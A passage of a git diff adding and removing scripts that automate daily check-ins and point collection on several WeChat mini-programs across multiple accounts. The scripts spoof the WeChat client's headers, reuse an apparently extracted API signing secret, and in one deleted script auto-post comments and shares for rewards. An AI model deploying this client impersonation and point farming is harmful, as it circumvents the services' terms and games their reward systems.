return this.sign(false); + } + this.log(`❌ 签到失败: ${msg}`); + } + async ensureLogin() { + const cached = readCache()[this.account.openid] || {}; + if (!this.token && cached.token) { this.token = cached.token; this.log("使用缓存token"); return; } + if (!this.token) await this.login(); + } + async run() { + if (!this.account.openid) { this.log("跳过:变量值里没有 openid"); return; } + try { + await this.ensureLogin(); + try { + const ui = await this.getUserInfo(); + if (Number(ui.code) === 1) { + const u = ui.data || {}; + this.log(`用户: ${u.nickname || ""} 积分: ${u.score ?? "?"}`); + } else if (/token|登录|未授权|失效|过期|未登录|鉴权/i.test(String(ui.msg || ""))) { + // 缓存token失效,重登 + this.token = ""; + await this.login(); + } + } catch (e) {} + await this.sign(); + } catch (e) { + if (/未返回 token/.test(String(e.message))) { this.log("⚠️ 登录未拿到 token(该微信号可能未注册天机观),先在小程序里登录注册一次再跑"); return; } + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { $.log(`未找到变量 ${ckName}`); return; } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})().catch((e) => $.log(e.message || e)).finally(() => $.done()); diff --git a/wxapp/tmj.js b/wxapp/tmj.js new file mode 100644 index 00000000..98544b7a --- /dev/null +++ b/wxapp/tmj.js @@ -0,0 +1,351 @@ +/* +------------------------------------------ +@Author: sm +@Date: 2026.05.31 +@Description: 谭木匠会员俱乐部签到 +cron: 36 8 * * * +------------------------------------------ +变量名:tmj +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("谭木匠会员俱乐部签到"); +const axios = require("axios"); +const crypto = require("crypto"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const MINI_APP_ID = "wxc6f9e3b38b25b840"; +const PAGE_VERSION = "44"; +const API_BASE = "https://mall-mobile-v6.vecrp.com/mobile"; +const SECRET_KEY = "R6WbJ830wNsEdjH9GumwKYiYxHz0K9QD"; +const TOKEN_CACHE_FILE = path.join(__dirname, "tmj_token_cache.json"); +const USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) MicroMessenger/3.9.12 MiniProgramEnv/Windows WindowsWechat/WMPF"; + +let ckName = "tmj"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readTokenCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} + +function writeTokenCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function sha1(text) { + return crypto.createHash("sha1").update(String(text)).digest("hex"); +} + +function signPayload(data) { + const keys = Object.keys(data).sort((a, b) => { + const left = `${a}${data[a]}`; + const right = `${b}${data[b]}`; + if (left > right) return 1; + if (left < right) return -1; + return 0; + }); + return sha1(keys.map((key) => `${key}${data[key]}`).join("")); +} + +function todayInfo() { + const d = new Date(); + const y = d.getFullYear(); + const m = d.getMonth() + 1; + const day = d.getDate(); + const pad = (n) => String(n).padStart(2, "0"); + return { + year: y, + month: m, + day, + today: `${y}-${pad(m)}-${pad(day)}`, + startDate: `${y}-${m}-01`, + endDate: `${y}-${m}-${new Date(y, m, 0).getDate()}`, + }; +} + +function normalizeDate(value) { + const text = String(value || "").slice(0, 10); + const parts = text.split("-"); + if (parts.length !== 3) return text; + return `${parts[0]}-${String(Number(parts[1])).padStart(2, "0")}-${String(Number(parts[2])).padStart(2, "0")}`; +} + +function isTokenError(message) { + return /token|登录|授权|invalid|expire|过期|401|403/i.test(String(message || "")); +} + +function getRows(result) { + if (Array.isArray(result)) return result; + if (Array.isArray(result?.data)) return result.data; + if (Array.isArray(result?.rows)) return result.rows; + if (Array.isArray(result?.records)) return result.records; + if (Array.isArray(result?.list)) return result.list; + return []; +} + +class Task { + constructor(openid) { + this.index = $.userIdx++; + this.openid = String(openid || "").trim(); + this.token = ""; + this.shopId = ""; + this.shopName = ""; + this.integralAccount = ""; + this.signActivityId = ""; + this.signTitle = ""; + } + + async run() { + const cached = this.getCachedToken(); + if (cached) { + this.applyToken(cached); + $.log(`账号[${this.index}] 使用缓存token`); + if (!(await this.checkToken())) { + this.removeCachedToken(); + $.log(`账号[${this.index}] 缓存token失效,重新登录`); + } + } + + if (!this.token) { + await this.loginByWxCode(); + if (!this.token) return; + } + + await this.ensureIntegralAccount(); + await this.findSignActivity(); + await this.loadSignInfo(); + await this.doSign(); + this.saveCachedToken(); + } + + getCachedToken() { + const cache = readTokenCache(); + return cache[this.openid] || null; + } + + saveCachedToken() { + if (!this.token) return; + const cache = readTokenCache(); + cache[this.openid] = { + token: this.token, + shopId: this.shopId, + shopName: this.shopName, + integralAccount: this.integralAccount, + signActivityId: this.signActivityId, + signTitle: this.signTitle, + updatedAt: new Date().toISOString(), + }; + writeTokenCache(cache); + } + + removeCachedToken() { + const cache = readTokenCache(); + if (cache[this.openid]) { + delete cache[this.openid]; + writeTokenCache(cache); + } + this.token = ""; + this.shopId = ""; + this.shopName = ""; + this.integralAccount = ""; + this.signActivityId = ""; + } + + applyToken(data = {}) { + this.token = data.token || data.mobileToken || ""; + this.shopId = data.shopId || ""; + this.shopName = data.shopName || ""; + this.integralAccount = data.integralAccount || ""; + this.signActivityId = data.signActivityId || ""; + this.signTitle = data.signTitle || ""; + } + + getHeaders(sign, ts) { + return { + "User-Agent": USER_AGENT, + "Referer": `https://servicewechat.com/${MINI_APP_ID}/${PAGE_VERSION}/page-frame.html`, + "Accept": "application/json, text/plain, */*", + "Content-Type": "application/json;charset=UTF-8", + "appid": MINI_APP_ID, + "token": this.token, + "ts": ts, + "startTime": ts, + "sign": sign, + "X-TracedId": crypto.randomUUID(), + }; + } + + async request(apiPath, data = {}, method = "GET") { + const payload = data || {}; + const ts = Date.now(); + const signData = method === "POST" + ? { body: JSON.stringify(payload), secretKey: SECRET_KEY, ts } + : { ...payload, secretKey: SECRET_KEY, ts }; + const options = { + method, + url: `${API_BASE}${apiPath}`, + headers: this.getHeaders(signPayload(signData), ts), + timeout: 20000, + validateStatus: () => true, + }; + if (method === "GET") options.params = payload; + else options.data = payload; + + const { status, data: result } = await axios.request(options); + if (status !== 200) throw new Error(`HTTP ${status}: ${JSON.stringify(result)}`); + if (!result || result.success !== true) { + const err = new Error(result?.msg || result?.message || JSON.stringify(result)); + err.code = result?.code; + throw err; + } + return result.result; + } + + async getLoginCode() { + const { data } = await wechat.getCode(this.openid); + const code = data?.code || data?.data?.code; + if (!code) throw new Error(`wx_server 未返回 code: ${JSON.stringify(data)}`); + return code; + } + + async loginByWxCode() { + try { + const code = await this.getLoginCode(); + const data = await this.request("/wxAppLogin", { + code, + appid: MINI_APP_ID, + shopId: null, + envVersion: "", + isEnterpriseWx: false, + scene: "", + referrerInfo: "", + }, "POST"); + this.applyToken({ + token: data?.mobileToken, + shopId: data?.shopId, + shopName: data?.shopName, + }); + this.saveCachedToken(); + $.log(`账号[${this.index}] 登录成功: ${this.shopName || this.shopId || "未知门店"}`); + } catch (e) { + $.log(`账号[${this.index}] 登录失败: ${e.message || e}`); + } + } + + async checkToken() { + try { + await this.ensureIntegralAccount(true); + return true; + } catch (e) { + return false; + } + } + + async ensureIntegralAccount(silent = false) { + const data = await this.request("/activity/common/queryIntegralSystemList", { + shopId: this.shopId, + earnSpendType: 1, + }); + const first = Array.isArray(data) ? data[0] : null; + this.integralAccount = first?.integralAccount || this.integralAccount; + if (!silent) { + $.log(`账号[${this.index}] 积分体系: ${first?.systemName || "未知"} ${first?.integralAlias || ""}`); + } + this.saveCachedToken(); + } + + async findSignActivity() { + if (!this.integralAccount) await this.ensureIntegralAccount(true); + const data = await this.request("/activity/common/queryActivityList", { + earnSpendType: 1, + shopId: this.shopId, + pageNo: 1, + pageSize: 10, + integralAccount: this.integralAccount, + activityType: 3, + }, "POST"); + const activity = getRows(data).find((item) => String(item.activityType) === "3" && item.canJoin !== false); + if (!activity?.activityId) throw new Error("未找到可参与的签到活动"); + this.signActivityId = activity.activityId; + this.signTitle = activity.title || "每日签到"; + $.log(`账号[${this.index}] 签到活动: ${this.signTitle}`); + this.saveCachedToken(); + } + + async loadSignInfo() { + if (!this.signActivityId) await this.findSignActivity(); + const data = await this.request("/activity/sign/loadActivityInfo", { + activityId: this.signActivityId, + source: 1, + shopId: this.shopId, + }); + this.signTitle = data?.title || this.signTitle; + const integral = data?.integral ?? data?.awardDescMobileList?.[0]?.awardDescList?.[0]?.integrationNum ?? "未知"; + $.log(`账号[${this.index}] 签到状态: ${data?.canJoin === false ? "不可参与" : "可参与"} 奖励${integral}积分`); + this.saveCachedToken(); + } + + async queryMonthSign() { + const date = todayInfo(); + return await this.request("/activity/sign/querySignInfoList", { + activityId: this.signActivityId, + startDate: date.startDate, + endDate: date.endDate, + }, "POST"); + } + + async doSign() { + try { + const date = todayInfo(); + const monthInfo = await this.queryMonthSign(); + const signedList = Array.isArray(monthInfo?.signDateList) ? monthInfo.signDateList : []; + if (signedList.some((item) => normalizeDate(item) === date.today)) { + $.log(`账号[${this.index}] 今日已签到`); + return; + } + + const data = await this.request("/activity/sign/sign", { + activityId: this.signActivityId, + shopId: this.shopId, + signDate: date.today, + }, "POST"); + const integral = data?.integral ?? data?.memberDayIntegral ?? "未知"; + $.log(`账号[${this.index}] 签到成功: +${integral}积分`); + } catch (e) { + const message = String(e.message || e); + if (/已签|重复|already/i.test(message)) { + $.log(`账号[${this.index}] 今日已签到`); + return; + } + $.log(`账号[${this.index}] 签到失败: ${message}`); + if (isTokenError(message)) this.removeCachedToken(); + } + } +} + +!(async () => { + $.checkEnv(ckName); + for (const openid of $.userList) { + await new Task(openid).run(); + } +})() + .catch((e) => $.log(e.message || e)) + .finally(() => $.done()); diff --git a/wxapp/tnjy.js b/wxapp/tnjy.js new file mode 100644 index 00000000..416ddd4d --- /dev/null +++ b/wxapp/tnjy.js @@ -0,0 +1,208 @@ +/* +------------------------------------------ +@Author: sm +@Date: 2026.05.31 +@Description: 天牛旧衣服回收签到 +cron: 34 8 * * * +------------------------------------------ +变量名:tnjy +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("天牛旧衣服回收签到"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const MINI_APP_ID = "wx887c2f947bffa76e"; +const PAGE_VERSION = "6"; +const API_BASE = "https://tianniunew.fzjingzhou.com"; +const TOKEN_CACHE_FILE = path.join(__dirname, "tnjy_token_cache.json"); +const USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) MicroMessenger/3.9.12 MiniProgramEnv/Windows WindowsWechat/WMPF"; +const GUEST_TOKEN = "wek2020123456788wek"; + +let ckName = "tnjy"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readTokenCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} + +function writeTokenCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function formBody(data = {}) { + const params = new URLSearchParams(); + for (const [key, value] of Object.entries(data)) { + if (value !== undefined && value !== null) params.append(key, String(value)); + } + return params; +} + +function isTokenError(message) { + return /token|登录|验证失败|9999|401|403|expire|过期|失效/i.test(String(message || "")); +} + +class Task { + constructor(openid) { + this.index = $.userIdx++; + this.openid = String(openid || "").trim(); + this.session = {}; + } + + async run() { + const cached = this.getCachedToken(); + if (cached) { + this.session = cached; + $.log(`账号[${this.index}] 使用缓存token`); + if (!(await this.checkToken())) { + this.removeCachedToken(); + $.log(`账号[${this.index}] 缓存token失效,重新登录`); + } + } + + if (!this.session.token) { + await this.loginByWxCode(); + if (!this.session.token) return; + } + + await this.doSign(); + this.saveCachedToken(); + } + + getCachedToken() { + const cache = readTokenCache(); + return cache[this.openid] || null; + } + + saveCachedToken() { + if (!this.session.token) return; + const cache = readTokenCache(); + cache[this.openid] = { + token: this.session.token, + userInfo: this.session.userInfo || {}, + newOrder: this.session.newOrder || null, + updatedAt: new Date().toISOString(), + }; + writeTokenCache(cache); + } + + removeCachedToken() { + const cache = readTokenCache(); + if (cache[this.openid]) { + delete cache[this.openid]; + writeTokenCache(cache); + } + this.session = {}; + } + + headers() { + return { + "content-type": "application/x-www-form-urlencoded", + "platform": "MP-WEIXIN", + "User-Agent": USER_AGENT, + "Referer": `https://servicewechat.com/${MINI_APP_ID}/${PAGE_VERSION}/page-frame.html`, + }; + } + + async request(apiPath, data = {}, options = {}) { + const token = options.noauth ? GUEST_TOKEN : (this.session.token || GUEST_TOKEN); + const res = await axios.post(`${API_BASE}${apiPath}`, formBody({ + ...(data || {}), + token, + }), { + headers: this.headers(), + timeout: 20000, + validateStatus: () => true, + }); + + if (res.status !== 200) throw new Error(`HTTP ${res.status}`); + if (Number(res.data?.code) !== 1000) { + const error = new Error(res.data?.msg || `接口错误: ${res.data?.code || "unknown"}`); + error.data = res.data; + throw error; + } + return res.data; + } + + async getLoginCode() { + const { data } = await wechat.getCode(this.openid); + const code = data?.code || data?.data?.code; + if (!code) throw new Error(`wx_server 未返回 code: ${JSON.stringify(data)}`); + return code; + } + + async loginByWxCode() { + try { + const code = await this.getLoginCode(); + const res = await this.request("/api/login/getWxMiniProgramSessionKey", { + code, + gdtVid: "", + }, { noauth: true }); + const data = res.data || {}; + this.session = { + token: data.token || res.token || "", + userInfo: data.personInfo || {}, + newOrder: data.newOrder || null, + }; + if (!this.session.token) throw new Error("登录未返回token"); + this.saveCachedToken(); + $.log(`账号[${this.index}] 登录成功`); + } catch (e) { + $.log(`账号[${this.index}] 登录失败: ${e.message || e}`); + } + } + + async checkToken() { + try { + const res = await this.request("/api/Person/index"); + if (res.data) this.session.userInfo = res.data; + return true; + } catch (e) { + return false; + } + } + + async doSign() { + try { + const res = await this.request("/api/Person/sign"); + const beans = res.data; + $.log(`账号[${this.index}] 签到成功${beans !== undefined ? `,获得${beans}环保币` : ""}`); + } catch (e) { + const message = e.message || e; + if (/已签到|今日已|重复|已经签到/.test(String(message))) { + $.log(`账号[${this.index}] 今日已签到`); + return; + } + $.log(`账号[${this.index}] 签到失败: ${message}`); + if (isTokenError(message)) this.removeCachedToken(); + } + } +} + +!(async () => { + $.checkEnv(ckName); + for (const openid of $.userList) { + await new Task(openid).run(); + } +})() + .catch((e) => $.log(e.message || e)) + .finally(() => $.done()); diff --git a/wxapp/topspace.py b/wxapp/topspace.py deleted file mode 100644 index bc6b0547..00000000 --- a/wxapp/topspace.py +++ /dev/null @@ -1,109 +0,0 @@ - -''' -topspace微信小程序 - - -new Env('topspace'); -抓x-vcs-user-token和app-id用&分割并且多号@ -''' -import requests -import os - -class AC: - def __init__(self, cookie): - self.headers = { - 'User-Agent': "Mozilla/5.0 (Linux; Android 12; RMX3562 Build/SP1A.210812.016; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/122.0.6261.120 Mobile Safari/537.36 XWEB/1220133 MMWEBSDK/20240404 MMWEBID/2307 MicroMessenger/8.0.49.2600(0x28003133) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 MiniProgramEnv/android", - 'app-id': cookie.split('&')[1], - 'x-vcs-user-token': cookie.split('&')[0] - } - - def info(self): - url = "https://m.sda.changan.com.cn/app-apigw/user-info-api/api/v1/sda-app/personal-info/basic-information" - response = requests.get(url, headers=self.headers) - data = response.json() - if data['code'] == 0: - userNickname = data["data"]["userNickname"] - totalPoints = data["data"]["pointInfo"]["totalPoints"] - print(f"用户:{userNickname}当前共有{totalPoints}币") - return userNickname - else: - msg = data["msg"] - print(f"登录失败: {msg}") - return None - - def check(self, userNickname): - url = "https://m.sda.changan.com.cn/app-apigw/user-info-api/api/v2/point/check-in" - response = requests.post(url, headers=self.headers) - data = response.json() - if data['code'] == 0: - description = data["data"]["description"] - total = data["data"]["total"] - print(f"用户:{userNickname}{description}获得{total}TOP币") - else: - msg = data["msg"] - print(f"签到失败: {msg}") - - def list_articles(self, userNickname): - url = "https://m.sda.changan.com.cn/app-apigw/sda-zone-api/api/v1/post/list" - data = { - "section_id": "1002", - "page": { - "current_page": 1, - "page_size": 20 - }, - "sort_type": "RECOMMEND_FIRST" - } - response = requests.post(url, headers=self.headers, json=data) - data = response.json() - if data['code'] == 0: - article_id = data["data"]["list"][0]["id"] - print(f"用户:{userNickname}获取文章{article_id}") - return article_id - else: - msg = data["msg"] - print(f"获取文章失败: {msg}") - - def publish_comment(self, userNickname, article_id): - url = "https://m.sda.changan.com.cn/app-apigw/sda-zone-api/api/v1/comment/publish" - data = { - "content": "很酷", - "post_id": article_id - } - response = requests.post(url, headers=self.headers, json=data) - data = response.json() - if data['code'] == 0: - print("发布成功") - else: - print(f"发布失败: {data['msg']}") - - def share_article(self, userNickname, article_id): - url = "https://m.sda.changan.com.cn/app-apigw/sda-zone-api/api/v1/action/share" - data = { - "post_id": article_id - } - response = requests.post(url, headers=self.headers, json=data) - data = response.json() - if data['code'] == 0: - print("转发成功") - else: - print(f"转发失败: {data['msg']}") - -if __name__ == "__main__": - topspace = os.environ.get('topspace') - if not topspace: - print("请设置环境变量 'topspace' 后再运行") - else: - topspace_list = topspace.split('@') - for num, topspace_item in enumerate(topspace_list, start=1): - x_vcs_user_token, app_id = topspace_item.split('&') - cookie = f"{x_vcs_user_token}&{app_id}" - ac = AC(cookie) - print(f"=====开始执行第{num}个账号任务=====") - user_nickname = ac.info() - if user_nickname: - ac.check(user_nickname) - article_id = ac.list_articles(user_nickname) - if article_id: - ac.publish_comment(user_nickname, article_id) - ac.share_article(user_nickname, article_id) - print("---------账号任务执行完毕---------") diff --git a/wxapp/trsj.js b/wxapp/trsj.js new file mode 100644 index 00000000..00c27982 --- /dev/null +++ b/wxapp/trsj.js @@ -0,0 +1,359 @@ +/* +------------------------------------------ +@Description: 甜润世界 - 微信小程序静默登录 + 每日签到(签到有奖 + 石斛签到) +cron: 5 9,12,20 * * * +------------------------------------------ +变量名:trsj +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wx210e40a77dbe7a27,host m.ahzyssl.com): +(迁移自 YYB-GO 系脚本 TRSJ.py,原脚本已 code 登录,无签名/无手机号) + +登录 GET /wx/user/appletLogin?code=(无签名,UA 用 WMPF) + -> code==200,data 即 applet_auth_token(后续所有请求放 Authorization 头,裸 token 非 Bearer) +验证 GET /applet/user/getUserBaseInfo -> code==200,data.userName(用来判定 ck 有效 / 未注册) +签到有奖(主签到) + 查询 GET /applet/user/signIn/getUserSignInLog -> data.userSignInList[]{signInDate,signInStatus==1 表已签} + 签到 POST /applet/user/signIn -> code==200 成功(已签走 msg) +石斛签到(次签到,best-effort,非致命) + 状态 GET /applet/game/dendrobium/get -> code==200&data 已种植;code==500/msg含"没有正在培养" 未种植 + 播种 GET /applet/game/dendrobium/sowing (原脚本带作者个人 inviteUserId 邀请码,已剔除) + 查询 GET /applet/game/dendrobium/signIn/getUserSignInLog -> data.todaySignInStatus + 签到 GET /applet/game/dendrobium/signIn -> code==200 成功 + 任务列表 GET /applet/game/dendrobium/task/list -> code==200 成功 + 文章列表 GET /applet/game/dendrobium/article/list + 浏览 GET /applet/game/dendrobium/article/completeRead -> code==200成功 +原脚本的推文浏览/买肥料/自动施肥属养成任务,非签到,已略去。 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("甜润世界签到"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "trsj"; +const MINI_APP_ID = "wx210e40a77dbe7a27"; +const API_HOST = "https://m.ahzyssl.com"; +const TOKEN_CACHE_FILE = path.join(__dirname, "trsj_token_cache.json"); +const BUSINESS_UA = + "Mozilla/5.0 (Linux; Android 14; PJE110) AppleWebKit/537.36 (KHTML, like Gecko) " + + "Chrome/142.0.0.0 Mobile Safari/537.36 MiniProgramEnv/android"; +const LOGIN_UA = + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 " + + "Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF"; + +const EP_LOGIN = "/wx/user/appletLogin"; +const EP_USERINFO = "/applet/user/getUserBaseInfo"; +const EP_SIGN_LOG = "/applet/user/signIn/getUserSignInLog"; +const EP_SIGN = "/applet/user/signIn"; +const EP_DEN_GET = "/applet/game/dendrobium/get"; +const EP_DEN_SOW = "/applet/game/dendrobium/sowing"; +const EP_DEN_SIGN_LOG = "/applet/game/dendrobium/signIn/getUserSignInLog"; +const EP_DEN_SIGN = "/applet/game/dendrobium/signIn"; +const EP_DEN_TASK_LIST = "/applet/game/dendrobium/task/list"; +const EP_DEN_ARTICLE_LIST = "/applet/game/dendrobium/article/list"; +const EP_DEN_COMPLETEREAD = "/applet/game/dendrobium/article/completeRead"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; } catch (e) { return {}; } +} +function writeCache(c) { + try { fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(c, null, 2), "utf8"); } catch (e) { $.log(`写入缓存失败: ${e.message || e}`); } +} +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} +function short(v, n = 200) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} +function chinaToday() { + const d = new Date(Date.now() + 8 * 3600 * 1000); + const y = d.getUTCFullYear(); + const m = String(d.getUTCMonth() + 1).padStart(2, "0"); + const day = String(d.getUTCDate()).padStart(2, "0"); + return `${y}-${m}-${day}`; +} + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.token = ""; + this.unregistered = false; + this.signed = false; // 主签到(签到有奖)是否达成(含今日已签) + } + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + async request(method, apiPath, { data, params, auth = true } = {}) { + const headers = { + Host: "m.ahzyssl.com", + Connection: "keep-alive", + charset: "utf-8", + "Content-Type": "application/json;charset=utf-8", + "User-Agent": BUSINESS_UA, + Referer: `https://servicewechat.com/${MINI_APP_ID}/page-frame.html`, + Accept: "*/*", + }; + if (auth && this.token) headers.Authorization = this.token; + const res = await axios.request({ + method, url: `${API_HOST}${apiPath}`, data, params, headers, + timeout: 20000, validateStatus: () => true, + }); + if (res.status !== 200 && !(res.data && typeof res.data === "object")) { + throw new Error(`${apiPath} HTTP ${res.status}: ${short(res.data)}`); + } + return res.data; + } + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + async login() { + const code = await this.getCode(); + const res = await axios.request({ + method: "GET", url: `${API_HOST}${EP_LOGIN}`, params: { code }, + headers: { + Host: "m.ahzyssl.com", "User-Agent": LOGIN_UA, Accept: "*/*", + Referer: `https://servicewechat.com/${MINI_APP_ID}/page-frame.html`, + }, + timeout: 20000, validateStatus: () => true, + }); + const body = res.data || {}; + if (body.code === 200 && body.data) { + this.token = String(body.data); + const cache = readCache(); + cache[this.account.openid] = { token: this.token, updatedAt: new Date().toISOString() }; + writeCache(cache); + this.log("登录成功"); + return; + } + const msg = body.msg || body.message || short(body); + if (/未注册|未绑定|未激活|不存在|请先|注册/.test(String(msg))) { + this.unregistered = true; + throw new Error("NO_ACCOUNT:未注册甜润世界"); + } + throw new Error(`登录失败(HTTP ${res.status}): ${msg}`); + } + async verify() { + // 用 getUserBaseInfo 验证 ck;未注册的号这里往往拿不到 data + try { + const res = await this.request("GET", EP_USERINFO); + if (res && res.code === 200 && res.data) { + this.log(`ck 有效:${(res.data.userName || res.data.nickName || "用户")}`); + this.unregistered = false; + return true; + } + const msg = res?.msg || res?.message || short(res); + if (/未注册|未绑定|未激活|不存在|无权限|登录/.test(String(msg))) { this.unregistered = true; } + this.log(`ck 验证异常:${short(res)}`); + return false; + } catch (e) { + this.log(`ck 验证请求失败:${e.message || e}`); + return false; + } + } + async signAward() { + // 主签到:签到有奖 + const rec = await this.request("GET", EP_SIGN_LOG); + if (!rec || rec.code !== 200) { + const msg = rec?.msg || rec?.message || short(rec); + if (/未注册|未绑定|未激活|不存在|登录|授权/.test(String(msg))) this.unregistered = true; + this.log(`❌ 查询签到有奖状态失败:${msg}`); + return; + } + const list = (rec.data && rec.data.userSignInList) || []; + const today = chinaToday(); + if (list.some((i) => i.signInDate === today && i.signInStatus === 1)) { + this.signed = true; + this.log("✅ 签到有奖:今日已签到"); + return; + } + const doSign = await this.request("POST", EP_SIGN, { data: {} }); + if (doSign && doSign.code === 200) { + this.signed = true; + this.log(`✅ 签到有奖:签到成功${doSign.msg ? `(${doSign.msg})` : ""}`); + return; + } + const msg = doSign?.msg || doSign?.message || short(doSign); + if (/已签|签到过|重复|已完成/.test(String(msg))) { + this.signed = true; + this.log(`✅ 签到有奖:今日已签到(${msg})`); + return; + } + this.log(`❌ 签到有奖失败:${msg}`); + } + async dendrobiumSign() { + // 次签到:石斛签到(best-effort,需先种植;不带作者邀请码) + try { + const info = await this.request("GET", EP_DEN_GET); + let planted = !!(info && info.code === 200 && info.data); + if (!planted && info && (info.code === 500 || /没有正在培养/.test(info.msg || ""))) { + const sow = await this.request("GET", EP_DEN_SOW); + planted = !!(sow && sow.code === 200); + this.log(planted ? "🌱 石斛播种成功" : `🌱 石斛播种未成功:${sow?.msg || short(sow)}`); + } + const rec = await this.request("GET", EP_DEN_SIGN_LOG); + if (rec && rec.data && rec.data.todaySignInStatus) { + this.log("✅ 石斛签到:今日已签到"); + return; + } + const s = await this.request("GET", EP_DEN_SIGN); + if (s && s.code === 200) { + this.log(`✅ 石斛签到:签到成功${s.msg ? `(${s.msg})` : ""}`); + return; + } + const msg = s?.msg || s?.message || short(s); + if (/已签|签到过|重复|已完成/.test(String(msg))) { this.log(`✅ 石斛签到:今日已签到(${msg})`); return; } + this.log(`⚠️ 石斛签到未成功:${msg}`); + } catch (e) { + this.log(`⚠️ 石斛签到跳过:${e.message || e}`); + } + } + + async getTaskList() { + try { + const res = await this.request("GET", EP_DEN_TASK_LIST); + if (res && res.code === 200 && Array.isArray(res.data)) { + const tasks = res.data; + // this.log(`✅ 石斛任务列表获取成功,共 ${tasks.length} 个任务`); + return tasks; + } else { + const msg = res?.msg || res?.message || short(res); + this.log(`⚠️ 石斛任务列表获取失败:${msg}`); + return []; + } + } catch (e) { + this.log(`⚠️ 石斛任务列表获取异常:${e.message || e}`); + return []; + } + } + + async articleList() { + try { + const res = await this.request("GET", EP_DEN_ARTICLE_LIST); + + if (res && res.code === 200 && Array.isArray(res.data.records)) { + const articles = res.data.records; + this.log(`✅ 石斛文章列表获取成功,共 ${articles.length} 篇文章`); + return articles; + } else { + const msg = res?.msg || res?.message || short(res); + this.log(`⚠️ 石斛文章列表获取失败:${msg}`); + return []; + } + } catch (e) { + this.log(`⚠️ 石斛文章列表获取异常:${e.message || e}`); + return []; + } + } + + async dendrobiumRead(url) { + try { + // 模拟浏览文章 + await axios.request({ + method: "GET", + url: url, + headers: { + Connection: "keep-alive", + } + }); + await $.wait(3000, 10000); // 模拟阅读时间 + const info = await this.request("GET", EP_DEN_COMPLETEREAD); + if (info.code === 200 && info.msg) { + this.log(`✅ 石斛阅读,${info.msg}`); + } else { + this.log(`✅ 石斛阅读已完成`); + } + + } catch (e) { + this.log(`⚠️ 石斛阅读跳过:${e.message || e}`); + } + } + + async ensureLogin() { + const cached = readCache()[this.account.openid] || {}; + if (!this.token && cached.token) { + this.token = cached.token; + if (await this.verify()) { this.log("使用缓存token"); return; } + this.token = ""; // 缓存失效,重新登录 + } + if (!this.token) { + await this.login(); + await this.verify(); + } + } + async run() { + if (!this.account.openid) { this.log("跳过:变量值里没有 openid"); return; } + try { + await this.ensureLogin(); + if (this.unregistered) { + this.log("⚠️ 该微信号还没在甜润世界注册/激活会员,先在小程序里登录一次再跑"); + return; + } + await this.signAward(); + await this.dendrobiumSign(); + // 获取石斛任务列表并处理 + const taskList = await this.getTaskList(); + if (taskList.length > 0) { + for (const task of taskList) { + if (task.taskName.match(/浏览/)) { + if (task.status == 0) { + this.log(`ℹ️ 石斛任务:${task.taskName},未完成,开始阅读文章`); + var articleList = await this.articleList(); + if (articleList.length > 0) { + 